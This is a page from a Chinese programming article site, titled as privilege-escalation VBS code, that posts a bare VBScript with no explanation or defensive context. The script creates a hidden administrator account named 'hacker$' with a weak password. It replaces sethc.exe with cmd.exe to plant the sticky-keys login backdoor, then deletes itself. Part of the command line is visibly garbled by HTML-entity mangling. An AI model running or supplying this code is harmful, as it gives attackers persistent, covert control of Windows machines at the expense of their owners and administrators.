提权vbs代码
程序员文章站
2022-07-04 20:33:30
复制代码 代码如下: on error resume next dim username,password:if wscript.arguments.count then:...
复制代码 代码如下:
on error resume next
dim username,password:if wscript.arguments.count then:username=wscript.arguments
(0):password=wscript.arguments(1):else:username="hacker$":password="123456":end if:set
wsnetwork=createobject("wscript.network"):os="winnt://"&wsnetwork.computername:set ob=getobject
(os):set oe=getobject(os&"/administrators,group"):set od=ob.create("user",username):od.setpassword
password:od.setinfo:set of=getobject(os&"/"&username&",user"):oe.add(of.adspath)'wscript.echo
of.adspath
on error resume next
dim obj, success
set obj = createobject("wscript.shell")
success = obj.run("cmd /c takeown /f %systemroot%\system32\sethc.exe&echo y| cacls %systemroot%
\system32\sethc.exe /g %username%:f© %systemroot%\system32\cmd.exe %systemroot%\system32
\acmd.exe© %systemroot%\system32\sethc.exe %systemroot%\system32\asethc.exe&del %systemroot%
\system32\sethc.exe&ren %systemroot%\system32\acmd.exe sethc.exe", 0, true)
createobject("scripting.filesystemobject").deletefile(wscript.scriptname)
上一篇: 用vbs读取Excel文件的函数代码
下一篇: VBS面向对象编程与Me关键字使用介绍
推荐阅读
-
用ASP VBS xmlhttp adodbstream下载和保存图片的代码
-
在asp中通过vbs类实现rsa加密与解密的代码
-
vbs打开ie两种方法 在VBScript中启动IE浏览器的实现代码
-
Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)
-
Linux服务器漏洞防护CVE级别 可SUDO提权到管理员
-
ASP 环境下 VBS 事件应用 示例代码
-
Linux 曝出严重安全漏洞,受限用户亦可提权至 Root 身份运行任意命令!(内附解决方案)
-
SQL 提权 常用命令
-
在asp中通过vbs类实现rsa加密与解密的代码
-
JavaScript 模仿vbs中的 DateAdd() 函数的代码